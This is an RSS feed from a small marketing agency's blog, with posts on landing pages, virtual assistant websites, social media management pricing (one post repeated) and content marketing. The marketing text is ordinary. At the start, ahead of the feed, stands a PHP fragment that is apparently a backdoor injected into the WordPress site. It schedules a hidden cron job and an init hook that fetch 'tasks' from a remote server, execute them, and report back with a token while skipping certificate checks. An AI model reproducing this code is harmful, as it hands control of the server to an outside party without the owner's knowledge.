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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Social Media Archives - Social Media Dudes https://socialmediadudes.com/category/social-media/ Sun, 17 Jan 2021 13:52:42 +0000 en-US hourly 1 https://socialmediadudes.com/wp-content/uploads/2020/02/cropped-Social-Media-Dudes-1-32x32.png Social Media Archives - Social Media Dudes https://socialmediadudes.com/category/social-media/ 32 32 How to Showcase Your Products and Services on Landing Pages https://socialmediadudes.com/how-to-showcase-your-products-and-services-on-landing-pages/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-showcase-your-products-and-services-on-landing-pages Sat, 23 Jan 2021 06:48:00 +0000 https://socialmediadudes.com/?p=1053 The post How to Showcase Your Products and Services on Landing Pages appeared first on Social Media Dudes.

]]> Many marketers set up email, advertising or social media campaigns and direct their prospects and customers to the landing pages of their website. However, if you don’t properly showcase your products and services on your landing page, those pages don’t convert.  And that means you might as well throw money right down the drain. It is simply a waste of hard-earned marketing dollars.

The purpose of a website page is to display general information about your business and your products and services. Each page has several links encouraging the visitor to explore. This is why landing pages are so significant. There are mainly 2 types: lead generation pages allow you to collect email addresses in order to launch a nurturing program and informative pages, on the other hand, aim to provide enough information about a product or service to encourage the purchase.

Landing pages can also be used for event or webinar registrations, newsletter subscriptions, content downloads or any other marketing initiative.

A landing page is created for one goal, one post, and one potential click. Remove all distractions so your visitors have a clear view of the action to be taken. Create a landing page for each campaign with a specific objective.

A successful page takes more than putting together some pretty pictures, some text, and a call to action. Think about your goal, your strategy, add a little creativity and make sure to monitor your performance indicators.

What is a landing page for and what is it for?

A landing page is mainly used in the context of an advertising campaign. It is, therefore, a page specifically created to welcome your visitor and quickly strengthen the offer you are advertising.

If the visitor is on this page, your ad has piqued their interest. It, therefore, remains to complete the argument and finish convincing him.

A landing page is essential to the success of your campaign

The major goal of a landing page is adaptation. All the elements of this page must therefore be designed in order to get the Internet user to take a defined action: buy a product or a service, subscribe to a newsletter, fill out a form, watch a video, etc… It is therefore essential to clearly define your objective before starting the design.

Even today, I too often hear goals based on the number of visitors. A landing page will be a success if your target engages. Even if you manage to get your page to 10,000 people, if you convert 2, it will be a failure.

Why?

For a page to be displayed in the results of a search in search engines like Google, the text that composes it must be considered relevant to the research.
Basically, if you want your site to show up when someone searches for the term “Home Spirit sofa”, you need to have a page that talks about Home Spirit sofas. It’s the minimum.

The basics: characteristics of a sales page that converts

In theory, creating a sales page should be pretty straightforward. The goal? Provide enough information to the customer to persuade them of the effectiveness of your product and allow them to justify their purchasing decision. Rosara Joseph, a content strategy expert at Venture Web, elaborates:

“The ultimate goal of your sales pages should be to give visitors confidence and provide all the information required to make an informed buying decision and make the process as smooth as possible.”

At this point, you probably need some practical information to get a better idea of ​​things.

Here are 4 tips for creating landing pages that convert.

1.   Create a good first impression!

Did you know that it only takes about 50 milliseconds (0.05 seconds) for a human to form an opinion on your website? This means that your overall design, structure, colors, font, spacing and amount of text should be developed with short intervals of visitor attention in mind.

When it comes to landing page design, clean and elegant are goals to achieve. Don’t fill every empty space on your page with text and graphics. Keep it simple and clutter-free. Remember, you want visitors to remember ONE message and take ONE action.

2.   Use a simple and interesting message!

Landing pages are not the right place to display all your different promotions or try to quote all the possible and imaginable features and benefits of a product.

Match your message – that is, your headlines, writings and calls to action – with the precise intent of the visitor. For example, if a visitor clicked on an ad to get an eBook, promote the value of that book.

What will the visitor get from his reading? Compelling text is key, no matter how spectacular your design is. Pique the reader’s curiosity with an inspiring or intriguing headline. The body of the text must be relevant, clear and oriented towards solutions. Avoid using “we” and focus it all on “you”.

3.   Limit content above the waterline!

Although some experts claim that people hate scrolling a page, this is not necessarily true. Evidence to the contrary exists everywhere. People have no problem scrolling if the page is designed for it and the content is eye-catching.

That being said, above the waterline is still the place readers will go first. Make sure to include a headline, subhead, call to action and a strong image to engage visitors. You can always add benefits and recommendations later in your page.

4.   Use calls to action!

If you add multiple links and buttons, visitors will inevitably be attracted by the call-to-action. Ideally, use two to three calls to action on your page. However, give readers only one option: subscribe, subscribe, download, buy, etc. Make sure the button text is clear. Now is not the time to show that you know the more complex words in the dictionary.

Indeed, make sure that what will happen after the click is clear, both from the point of view of the design and the message. For example, if the call to action indicates registering for a webinar, the next page and/or email should detail the next steps and include the date and time as well as the link to log in. Make the process as easy as possible so that visitors are rewarded for their action with an enjoyable, hassle-free experience.

Your landing pages have a big impact on the success of your overall marketing campaigns. After all, you invest a lot of resources in attracting leads and upselling your existing customers. Encouraging these initiatives with attractive landing pages can only be beneficial.

 

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The post How to Showcase Your Products and Services on Landing Pages appeared first on Social Media Dudes.

]]> The 10 Essential Elements For Your Virtual Assistant Website! https://socialmediadudes.com/virtual-assistant-website-for-beginners-top-10-essential-elements/?utm_source=rss&utm_medium=rss&utm_campaign=virtual-assistant-website-for-beginners-top-10-essential-elements Sat, 29 Aug 2020 06:39:00 +0000 https://socialmediadudes.com/?p=929 The post The 10 Essential Elements For Your Virtual Assistant Website! appeared first on Social Media Dudes.

]]>

Virtual Assistant Website For Beginners – Top 10 Essential Elements!

Whether you are just starting your Virtual Assistant business or are looking to scale it to bigger heights, a website is one tool that is definitely a difference maker.  If you still aren’t sure you need one, read 10 Reasons Why Virtual Assistants Need A Website!  But for this post, let’s just agree you do in fact need a website for your Virtual Assistant (VA) business.

So, with that covered, let’s make sure your VA website has the essential components to make it stand out and to help build your business.  Here are the top 8 must haves for your VA website:

1 – The Right Platform – WordPress

Coming to the decision to have a website probably frayed some folks nerves to begin with.  But you are over that.  Keep that positive momentum going by selecting the right platform to build your website with.  You may be thinking to go with something that is easier. WordPress is now more user friendly than ever.  It won’t tie you to a developer as you want to either expand or make changes.  As tempting as other platforms (Square,  Wix, etc) may look, after a short learning curve, the WordPress platform most likely will serve you better.

Bottom line, you will have more options and have a better opportunity of having a website you can both be proud of and that will impress prospective customers by going with WordPress.

The other reason to use WordPress is that it is likely your clients will want you to have a working knowledge so you can do minor work on their site (post blogs, pics, post upcoming events, etc)

2 – Your Services Page

When you are just beginning your VA business journey, you tend to want (or at least “feel” you need) to be all things to all people.  That does you a dis-service. You need to understand who your Ideal Customer Avatar (ICA) is in order to best serve their needs.  As a virtual assistant, there are a myriad of services that you can provide to your ICA. What you don’t want to do is list every service that any VA offers because potential customers won’t believe you (unless you can provide some social proof described below)  If you can’t speak multiple languages, maybe offering translation services is not in your best interests.

What your Services Page does is to provide you an opportunity to show the things you can do and the verticals you can serve best.  You might have a real estate background, so you are able to put that knowledge forward to better help your clients.

So, what are the components that your Services Page should contain?

Detail the type of customer/vertical you are most likely to be successful with and who will benefit from the services you provide.  (If you do social media management, you might include that your company are Facebook/Instagrams ninjas who have had tremendous success working for start-up and small businesses who don’t have the time or inclination to take on this task themselves.  (The more story you tell, the easier it is to resonate with your offerings…because they are more likely to see themselves as wanting that help)

Now that you have listed the vertical segment of the types of customers you can help, let’s provide a listing of the services your VA business offers.

I am a HUGE believe in creating packages with prices.   I know some people are reluctant to do so, but I have found that most people are afraid of the unknown.  When I didn’t put prices on the site, people would say “I can’t afford you”  And they were so wrong.  So, I do now knowing that it does some prequalification of customers for me.  Is it possible that I lost some customers who I may have gotten otherwise?  Possibly.  But my approach to closing business is not high pressure.  This makes it easier for all parties to begin the conversation.

Is there an advantage to working with you?  In other words, what is the value proposition that you provide?  If there is something (experience, skill level, etc) that sets you apart from your competition, let prospective customers know about it.

Social proof – Do you have testimonials (video, emails, notes) from current/past customers that say what a great job you did?  Use them to your advantage her.

Pricing – while I spoke about pricing above, let people know that you can also create custom pricing for individual scenarios.

You need a call to action (CTA).  Include a call to action (click here for free 20 minute consultation, give me a call, send me an email, fill out this form, etc).  Instruct people what you want them to do next.

Is your website showing you and your VA business in the best possible light? – here everything that ALL websites should include! https://ctt.ac/6C6_v+ CLICK TO TWEET

3 – Readily Available Contact information

If you want customers to reach out to you, then they are going to need an easy way to do so. I can hear you right now.  “Thanks Captain Obvious!”  lol  But you would be amazed at how many sites don’t make this available at every opportunity! 

So, what am I really saying here is EVERY page of your site should provide a way for folks to reach out to you!  This could end up as a “Have a question” or Contact Us” in the footer of your site or could be in the body (or sometimes as you will see on my site, it is both)  This is in addition to having a Contact page that stands on its own that may provide more options to reach you.

So, that means using some sort of “contact form” module that will send an email to you when they submit. 

If you aren’t interested in getting a bunch of spam, putting your email address on the site is not advisable.

Provide every contact option that you can support (without going crazy).  Everyone has a different DNA for how they want to communicate.  Could be an email, phone call, skype/zoom meeting.  You might consider a google phone number that can alert you when someone calls.  Make it easy to do business with you and that begins with their ability to reach out.

4 – Photos/Videos of your team working

Prospects and customers resonate to sites that have either pictures or videos.  They like to see you in action and that you know what you are doing.  It goes to the “know/like/trust” factor that is not to be underestimated in gaining new clients.  Do, don’t disappoint them.  Take some pictures.  Not feeling comfortable with YOUR picture being taken.  Take more pictures.

Show potential customers that you and your team are friendly.  Better yet, include a video. 

OK, I get it.  Many of you are Solo business owners. If you feel like you don’t want every picture with you in it, consider including images of recognizable objects that are associated with your business.  If you specialize in working with law offices, perhaps an image of the legal scales of justice.  You get the idea.  Don’t go without photos/videos on your site.

 5 – About Page

Potential customers understand that many VA’s businesses are not huge.  So, in an effort to get a better understanding of who they might be doing business with potentially, they go to the About Page.  A lot of business owners in general either treat the About page as an afterthought or actually bypass it altogether.  Big mistake.  On all of my sites, my About Us page is one of the more visited pages on the site.

Use this page to tell your story.  It isn’t just to let folks know about you, but also how you use your skills to help your clients. The about page is about you, but it’s also about how you work with your potential clients.

I can hear you know.  John, I am not sure what to say.  Here are some things you might consider:

  • What makes you unique from other virtual assistants?
  • What do you bring to the table?
  • What led up to you doing this business?
  • Describe your ideal customer/vertical and why you have the skills to serve them better than your competitors.

Providing this will help you to hone your About page to attract new customers.

6 – A Blog with Amazing content

You provide amazing services that provide high value to your customers. What you want to do at this point is to have as many visitors to your website as possible that would be interested in your agency providing services. So, you want people to find you, but how does that happen?  How does your site come up in the search algorithm?  Simply said, it requires quality content that is provided on a consistent basis.  Google likes websites that are regularly updated. Content in its many forms demonstrates your subject matter expertise.  It can be written blog posts,  videos or podcasts. Something to keep in mind that you want to have the content reside on your site, so google and social media brings people back to you where they can find out more about the services you provide.  The result of this effort is that it builds relationships with your audience and prospective customers.  A blog is you’re the cheapest, most cost effective marketing that you can do! Here are some of the things that you may not have thought about a blog doing for you:

  • Provide a reference point for your social media postings
  • Effective communication network for your agency to allow others to post to other social networks
  • Insures that you are perceived as an expert in your niche

OK, I can hear you now….”John, I am convinced I need a blog, but I don’t have the time or the expertise to put together blog posts for my business.  I have you covered! I provide 1,500 word blog posts in a DFY approach for VA’s on a monthly basis that includes an infographic that is very economical.  Click here to find out more!

7 – Client Reviews / Testimonials

What happens when your customer needs your service, but you don’t have the time to build the know/like/trust factor?  We mentioned testimonials above but it deserves its own paragraph. Customer testimonials add content to your site and let’s other know that you add value to the services you provide!

Testimonials from real customers make prospects relate to their challenges and tell people who don’t know you that you can be trusted to do a great job.

They are actually easier to get than you may think.  Talk to your customers and ask if they would be willing to either write a few words about their experience with you or better yet a short video.

If you get a great google review, then let people know about it.

Finally, a word about case studies.  Let me just say this…case studies are powerful!  Potential clients want to know how you have helped past clients achieve their goals. By you putting together the story of what the challenge was (customer had serious data issues in getting their spread sheets into one file that made sense. Then tell how you approached it and what you did to provide the solution that the customer loved.  Having case studies on your website can help prospects feel more comfortable reaching out to you because they can see how much you’ve already helped other business owners.

Don’t overlook this if your VA business is just getting off of the ground and you don’t have the social proof to provide these types of opportunities (yet).  Don’t stress it! It’s perfectly fine to use past co-workers and bosses as your testimonials until you get your VA business up and going. You are probably doing many of the same things that you did for your bosses.  Just be transparent.  It will pay off long term.

8 – Frequently Asked Questions (FAQs)

There are several ways that providing a list of FAQ’s can help your business. But before we go there, let’s answer some FAQ’s about what they are as well as what they do:

  • A list of the most common questions that come up for your niche and type of work
  • Enhances the customer experience
  • They help people understand your business
  • They help you communicate the terms and conditions for doing business with you.
  • Increases sales because you have provided the basic information needed to go forward
  • Decreases incoming questions that to you seem repetitive or basic.

Let’s talk about the benefits that FAQ’s provide:

  • Helps you to let customers know their needs
  • Shows your expertise
  • Helps customers to better understand what your business does.
  • Actually will boost your Search Engine Optimization

Some people may have a misconception of what working with a VA is like.  Providing a list of FAQs solves that problem!

FAQs help to remove any confusion or uncertainty that potential clients may have about working with you. By answering questions such as, “what is it like to work with you?” and “how do I know if I’m ready to work with a VA?” upfront, your potential clients will already start to feel more comfortable with the idea of working with you.

9 – Website need to be Responsive and designed for mobile optimization

Let’s start with understanding what that means.  A website that is responsive is basically one that adapts to have your website look good no matter what size device.  In other words, everything is scaled and “optimized” to look good whether you are viewing it on your desktop, laptop, tablet or other mobile device.

So, one thing you want to do when you build your site (or have The Social Media Dudes create your site [shameless plugJ]) is to insure it is responsive by testing it out on different devices.  

More importantly, you don’t want to do everything right on your site by including everything above only to have Google punish you because your site isn’t mobile friendly.

10 – Call To Action (CTAs)

Sometimes, people need to be told what to do.  It may be the result of not knowing what the next step is, it may not be clear how to proceed, or just need to be guided.  If your pages don’t contain some sort of Call to Action (CTA), then you are likely missing potential sales

A CTA isn’t always about closing the deal.  It may be trying to get them to subscribe to your email list (you do have an email list, don’t you?), perhaps you are wanting engagement by having the visitor leave a comment or perhaps to set up a quick consulting call so you can understand the prospects needs before you prescribe a solution (you).

Call to action (s) are a key feature to any website. Every page and blog post on your VA website should have at least one CTA.

Your takeaway…

Whether you are just starting out or your VA business has been up and running for a while, our VA website is an essential part of your business.  Work on implementing these essential tips on your website to insure you make a great impression!

Do you still have questions or are overwhelmed? Reach out to the Social Media Dudes by scheduling a free 20 minute consultation to discuss your current site or plan on a new site to invigorate your VA business.

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]]> What You Need To Know About Social Media Marketing! https://socialmediadudes.com/what-you-need-to-know-about-social-media-marketing/?utm_source=rss&utm_medium=rss&utm_campaign=what-you-need-to-know-about-social-media-marketing Fri, 21 Aug 2020 12:14:53 +0000 https://socialmediadudes.com/?p=899 The post What You Need To Know About Social Media Marketing! appeared first on Social Media Dudes.

]]> Whether you decide to manage your business’ social media or to outsource it is a decision you should not take lightly.  Putting together a social media calendar and maintaining it takes a good bit of effort. But however you decide to go ultimately, it is best that you understand the following:

Social media is critical to your business because it allows you to reach people organically locally, regionally, nationally or even can touch potential customers internationally!

So, when it comes to social media, you want your actions to enhance your company/brand’s overall prominence.  And when you do so, if you decide to outsource this, be sure you are not just going on price alone.  Just because your kids’ friends knows about social media networks doesn’t mean they understand your business and the objectives you are wanting to achieve.

What do you want to achieve with your social media marketing?

There is a saying “Know what you want to achieve and work backwards”.  The same can be said about social media marketing.  You want to be clear on the objectives you are wanting to achieve.

A small sampling of your objectives might be:

  • Position your brand as the go to authority – Demonstrating your authority in a particular space helps to build brand awareness and positions your company (and you) as an expert.
  • Generate traffic to your website – Having a large social media presence is great, but useless if it isn’t driving people to where you make sales…your website! This requires a deliberate approach, including relevant content and appropriate timing.  And if you aren’t posting regular blog posts to your site, consider outsourcing this.
  • Increase subscribers to your email list – Maintaining a meaningful relationship with prospects is critical to the know/like/trust aspect of marketing. To get their attention initially, you must create persistent, attention getting calls to action. Then once you have them, nothing is more critical than turning those leads into full-fledged customers.  To be clear, doing that is going to require more than just social media to get the job done!)

Once you understand what it is you want to achieve, you can begin to formulate a social media program.  Then determine which social media platform(s) your ideal customer is likely to be and put together a social media calendar. Keep in mind your ideal customer may not be hanging out in the places you may be typically thinking, so take the time to do some research to insure you are working the appropriate platforms.

What kind of social media packages are available for your business?

If you decide this is more than you want to take on, most social media management agencies will offer multiple packages for you to choose from.  They can range from posting content on a single platform to something more robust that is going to encompass multiple social networks.  By understanding the objectives for your business (see above), you can determine exactly what you need to spend.

For most small businesses or start-ups, a package containing one post a day of relevant content is the minimum needed.

And if you are just starting out, begin with just one network to maintain.  Get a better understanding of your ideal customer and their needs before expanding to additional social media platforms.  Save yourself a bunch of money and do well there first!

What sort of social media management packages are there and why the price difference?

Package deliverables and pricing is dependent really on how much work you are asking the agency to perform on your behalf.

To be sure, there is no one size fits all approach to social media management.  What you can expect to see most often are package levels (typically in ascending costs) that include:

  • Content only – Posting a certain number a times either per day/week or month
  • Interacting relationship on your behalf – This is replying, communicating, updating posts for you on a daily, weekly, or monthly basis
  • Direct/Indirect Outreach – this may be to attract media exposure, gain new followers, reaching out to potential partners/cross-sellers, etc
  • Objective strategy – this may involve a campaign of some sort where reporting is communicated regularly in order to adjust/optimize results

Pricing can be as low as $50 @ month for generic posts (Social Media Dudes doesn’t advocate buying this service at this price because they feel the results are “generic” as well).  Take these for what they are, automated programs that produce posts according to topics you choose.  They are neither company nor brand specific.  While you will have a social media presence, you should not expect relationships or building a community with these types of posts.

The next step up is in the $100 – $200 @ month range where you will have daily posts that are designed to be specific to you/your company/service.  They are branded posts typically once a day to one social network platform.  These will do the heavy lifting and you can add your own engagement if you want to begin building community.  This is a range that can accommodate many small or start-up businesses.

In the $201-$500 @ month category, you are going to get a hybrid of the $100-$200 offerings.  It will includes more posts spread across multiple platforms and will also provide a level of metrics for your efforts.  There is likely to be a level of engagement involved from the agency handling these tasks for you.  It will definite increase you visibility and provoke (or should) more engagement from your community.

Prices definitely go up from here and can go to the tens of thousands of dollars a month.  Typically, there are campaigns around these that are designed to drive traffic, deepen relationships and include sales conversions. The reason that there is a wide variance is dependent on the number of social networks you want to have a presence on (don’t spread yourself too thin), the velocity that you want to increase your presence and the ability to make tweaks to optimize the results.  These campaigns will definitely strengthen your brand and broaden the awareness around it.  This is where it can become tricky because sometimes the ROI (Return On Investment) isn’t always directly attributable to the efforts made on your behalf social media wise. 

Your takeway…

The management of your social media for your company/brand is not something you should take lightly or do based on price alone.  Make sure that the people you are dealing with understand your business and what your objectives are before embarking on having a presence.  The returns are a “cumulative effort” in that one post or tweet is not something you are going to be able to point to and indicate that is where the business came from.  Probably like pounding on a rock, it is the last strike that cracks it, but all of the other strikes were necessary in order for that to happen.  And if you don’t feel comfortable with the people doing the work on your behalf, trust your gut.  Don’t let a low price have you make a bad decision that you are going to regret.  When done well, social media can be a game changer for your business.  Finally, just because you may not use or believe in social media, your customers feel otherwise.  It is a tool that every business needs in their tool box.

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]]> A Quick Guide To Social Media Management Pricing! https://socialmediadudes.com/a-quick-guide-to-social-media-management-pricing/?utm_source=rss&utm_medium=rss&utm_campaign=a-quick-guide-to-social-media-management-pricing Wed, 27 May 2020 19:58:10 +0000 https://socialmediadudes.com/?p=834 [et_pb_section fb_built=”1″ _builder_version=”4.4.3″ custom_padding=”0px||0px||true|false” hover_enabled=”0″][et_pb_row _builder_version=”4.4.3″][et_pb_column _builder_version=”4.4.3″ type=”4_4″][et_pb_text _builder_version=”4.4.3″ hover_enabled=”0″] What You Need to Know About Social Media Marketing!   […]

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What You Need to Know About Social Media Marketing!

 

Whether you decide to manage your business’ social media or to outsource it is a decision you should not take lightly. Putting together a social media calendar and maintaining it takes a good bit of effort. But however you decide to go ultimately, it is best that you understand the following:

Social media is critical to your business because it allows you to reach people organically locally, regionally, nationally or even can touch potential customers internationally!

So, when it comes to social media, you want your actions to enhance your company/brand’s overall prominence. And when you do so, if you decide to outsource this, be sure you are not just going on price alone. Just because your kids’ friends knows about social media networks doesn’t mean they understand your business and the objectives you are wanting to achieve.

What do you want to achieve with your social media marketing?

There is a saying “Know what you want to achieve and work backwards”. The same can be said about social media marketing. You want to be clear on the objectives you are wanting to achieve.

A small sampling of your objectives might be:

  • Position your brand as the go to authority – Demonstrating your authority in a particular space helps to build brand awareness and positions your company (and you) as an expert.
  • Generate traffic to your website – Having a large social media presence is great, but useless if it isn’t driving people to where you make sales…your website! This requires a deliberate approach, including relevant content and appropriate timing. And if you aren’t posting regular blog posts to your site, consider outsourcing this.
  • Increase subscribers to your email list – Maintaining a meaningful relationship with prospects is critical to the know/like/trust aspect of marketing. To get their attention initially, you must create persistent, attention getting calls to action. Then once you have them, nothing is more critical than turning those leads into full-fledged customers. To be clear, doing that is going to require more than just social media to get the job done!)

Once you understand what it is you want to achieve, you can begin to formulate a social media program. Then determine which social media platform(s) your ideal customer is likely to be and put together a social media calendar. Keep in mind your ideal customer may not be hanging out in the places you may be typically thinking, so take the time to do some research to insure you are working the appropriate platforms.

What kind of social media packages are available for your business?

If you decide this is more than you want to take on, most social media management agencies will offer multiple packages for you to choose from. They can range from posting content on a single platform to something more robust that is going to encompass multiple social networks. By understanding the objectives for your business (see above), you can determine exactly what you need to spend.

For most small businesses or start-ups, a package containing one post a day of relevant content is the minimum needed.

And if you are just starting out, begin with just one network to maintain. Get a better understanding of your ideal customer and their needs before expanding to additional social media platforms. Save yourself a bunch of money and do well there first!

What sort of social media management packages are there and why the price difference?

Package deliverables and pricing is dependent really on how much work you are asking the agency to perform on your behalf.

To be sure, there is no one size fits all approach to social media management. What you can expect to see most often are package levels (typically in ascending costs) that include:

  • Content only – Posting a certain number a times either per day/week or month
  • Interacting relationship on your behalf – This is replying, communicating, updating posts for you on a daily, weekly, or monthly basis
  • Direct/Indirect Outreach – this may be to attract media exposure, gain new followers, reaching out to potential partners/cross-sellers, etc
  • Objective strategy – this may involve a campaign of some sort where reporting is communicated regularly in order to adjust/optimize results

Pricing can be as low as $50 @ month for generic posts (Social Media Dudes doesn’t advocate buying this service at this price because they feel the results are “generic” as well). Take these for what they are, automated programs that produce posts according to topics you choose. They are neither company nor brand specific. While you will have a social media presence, you should not expect relationships or building a community with these types of posts.

The next step up is in the $100 – $200 @ month range where you will have daily posts that are designed to be specific to you/your company/service. They are branded posts typically once a day to one social network platform. These will do the heavy lifting and you can add your own engagement if you want to begin building community. This is a range that can accommodate many small or start-up businesses.

In the $201-$500 @ month category, you are going to get a hybrid of the $100-$200 offerings. It will includes more posts spread across multiple platforms and will also provide a level of metrics for your efforts. There is likely to be a level of engagement involved from the agency handling these tasks for you. It will definite increase you visibility and provoke (or should) more engagement from your community.

Prices definitely go up from here and can go to the tens of thousands of dollars a month. Typically, there are campaigns around these that are designed to drive traffic, deepen relationships and include sales conversions. The reason that there is a wide variance is dependent on the number of social networks you want to have a presence on (don’t spread yourself too thin), the velocity that you want to increase your presence and the ability to make tweaks to optimize the results. These campaigns will definitely strengthen your brand and broaden the awareness around it. This is where it can become tricky because sometimes the ROI (Return On Investment) isn’t always directly attributable to the efforts made on your behalf social media wise.

Your takeway…

The management of your social media for your company/brand is not something you should take lightly or do based on price alone. Make sure that the people you are dealing with understand your business and what your objectives are before embarking on having a presence. The returns are a “cumulative effort” in that one post or tweet is not something you are going to be able to point to and indicate that is where the business came from. Probably like pounding on a rock, it is the last strike that cracks it, but all of the other strikes were necessary in order for that to happen. And if you don’t feel comfortable with the people doing the work on your behalf, trust your gut. Don’t let a low price have you make a bad decision that you are going to regret. When done well, social media can be a game changer for your business. Finally, just because you may not use or believe in social media, your customers feel otherwise. It is a tool that every business needs in their tool box.

 

 

–

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]]> What is Content marketing and How Can it Help My Business? https://socialmediadudes.com/what-is-content-marketing-and-how-can-it-help-my-business/?utm_source=rss&utm_medium=rss&utm_campaign=what-is-content-marketing-and-how-can-it-help-my-business Mon, 25 May 2020 14:55:34 +0000 https://socialmediadudes.com/?p=813 The post What is Content marketing and How Can it Help My Business? appeared first on Social Media Dudes.

]]>

As a business owner, you must be able to tell a good story about the goods/services that you provide. The marketing manager in you would likes to see the growth coming in organically from Google traffic instead of paying by the click. So, you understand that either your or someone on your teams needs to be a copywriter who understands your business and market and accurately portrays your story. But in practice? Writting blog posts that are SEO optimized and targetined for your ideal customer is something you neither have the time or the inclincation to do.  Thus your site creates the deadly sin of becoming stale and that company blog remains anxiously silent.

The result is that creating a  successful content strategy in your business niche is going to you require you to let go of old standards. Think from your potential customer wants to see and problems that your products/goods will solve and not so much as to what can you get out the door and onto your site!  The customer wants an answer to their question. You can give that with relevant, helpful, and original content. Providing great content that solves customers issues can give yourself the necessary leads that lead to business.

Don’t be blind to the giant marketing of Apple and Coca-Cola. Your organization is also relevant and exciting in its own way. Literally, anyone can create content that helps people and is engaging.

What is content marketing?

So, you are wondering what content marketing is in concrete terms? To answer this query, here is a definition provided by the Content Marketing Institute, a well-known organization in research, training, education, and content marketing.

“Content marketing is a strategic marketing approach focused on creating and distributing valuable, relevant, and consistent content to attract and retain a clearly-defined audience – and, ultimately, to drive profitable customer action.”

Basically, for those who are a little less comfortable with the definitions in English, content marketing represents a strategic marketing approach that emphasizes the creation and distribution of relevant content, quality and offering real value to a targeted audience, intending to attract and retain them so that they ultimately become an active and profitable client or consumer for the company.

In order to bounce back on this definition, many wonder what is the difference between content marketing and inbound marketing.  The answer is yes, although these two phrases are still discreetly linked.

Content marketing represents all the tactics linked directly or indirectly to the content. In contrast, inbound marketing encompasses the marketing and sales process from the first contact with the visitor until he becomes a customer. That being said, we can easily say that inbound cannot operate without content marketing.

Conversely, content marketing can work entirely without resorting to inbound. Indeed, a brand can decide to create content to increase its’ authority or even improve its brand image without having the objective of generating visitors, leads, or even customers.

What types of content marketing are there?

Content marketing is a broad concept and generally includes all forms of content that you share with a focus on the needs of your customers. Think, for example, of blog articles, videos, mailings, social media updates … Below we discuss some important types:

Content marketing through your company blog

A company blog is a “news section” on your website where you regularly share relevant articles with potential customers: answers to their questions, solutions to their problems, etc. Each blog article covers a different topic, question, solution, or problem related to your target audience and your business. Every time you share a new article on your blog, your target audience is more likely to find you through Google.

This makes a company blog a very efficient way to attract more and especially the right customers at the right time via Google. And more website traffic naturally increases the chance of more leads and customers.

But there is more because if you regularly share relevant information, you will position yourself as an expert in your field, you will appear more credible, and you will create more confidence.

Video content marketing

Video marking is an ideal way to reach the newest generation of customers. Important, because by 2020, “Generation Z” (born between 1995 and 2005) will be one of the largest consumer groups. Were you aware that YouTube is the second largest search engine next to Google?

Many prospects prefer video content to any other type of content from a brand, and that can be seen from the figures because, in 2019, 80% of all internet traffic already consists of videos.

The big advantage of videos? They allow you to explain simple, but also complex matters. Moving images also linger longer than images or text. Video marketing is, therefore, the ideal way to become (and remain) top-of-mind with your target group.

Email content marketing

You can conveniently use email marketing to forward information with a specific purpose to a specific target group. This way, you can bind potential customers to your company more easily via email, you attract more traffic to your website, and you book more sales.

The basics of email marketing start with a good mailing list, a list of email addresses of people who are really interested in your content. Growing an email list can take time.  We never recommend  purchasing mailing lists as they have little or no effect and can damage your brand!

Emails are personal, relevant, and also readable everywhere. Your potential customers don’t have to do more than open their mailboxes to see relevant information. In addition, emails have a direct reach, are cost-efficient and easy to measure.

Social media content marketing

Social media are online networks that you can use as a company to share relevant information and updates, to dialogue with your customers, and to provide good customer service. You can reach a huge target audience with very few resources.  Networks such as FaceBook, LinkedIn, Instagram and Twitter can bring you the right customers to your site.

Social media increases the visibility and brand awareness of your company and will, therefore, lead many visitors to your website. Thanks to the interaction, you will also learn how your target group and customers think about you, which is an enormous added value for your company.

Every social network has its own advantages and disadvantages. In this overview, you can read which social media are suitable for your company.

What is content marketing for?

Now that you have a better idea of ​​what content marketing is in terms of definition, what is it for? What are the objectives behind this marketing approach?

There are a few like:

  • Increase brand awareness or strengthen its image;
  • Increase subscribers to an email list;
  • Increase traffic to a website;
  • Improve the referencing of a website on search engines;
  • Generate leads;
  • Convert consumers into brand ambassadors;
  • Increase the average shopping basket or the company’s sales;
  • Promote recruitment;
  • Position itself as a benchmark in its industry.

Indeed, there may be other objectives behind this approach; the important thing is to know yours well in order to keep it in mind when you develop your content and distribute it. If you do not understand why you are marketing content, it is high time to sit down and ask yourself this question: how will this project support the business objectives of my organization? If you realize that the content created will not meet these objectives, perhaps it is not a priority for your business.

What are the benefits of content marketing?

More findability, more traffic, and more customers

If you share the right content for the right target groups on your website and blog, you attract more and especially the right visitors to your site via search engines such as Google and via social media. More findability, visibility, and brand awareness leads to more business!

You also succeed in building a relationship of trust with your visitors via content marketing and positioning yourself as an expert? Then you will also see your conversions increase!

More credibility and confidence

When you have really mastered content marketing, your visitors will see you as an advisor and expert in your field over time. This way, they automatically come to you when they have a new question or a new problem related to your business.

That makes content marketing (and inbound marketing) customer-friendly and useful because when your target group is convinced of your expertise, you can sell to them much more comfortably.

Everything is measurable

A big advantage of online content marketing? Almost everything is measurable: views, clicks, conversions. And measure? That’s to know!

When you measure your results, you know whether you are achieving your content marketing goals and whether your efforts are paying off. This way, you can make informed decisions and keep optimizing!

Cost-efficient and sustainable

A well-designed and optimized blog with strong content? It takes a while to develop such a “content hub,” but if you succeed, you will attract relevant search traffic and customers months and years after publishing your blog posts.

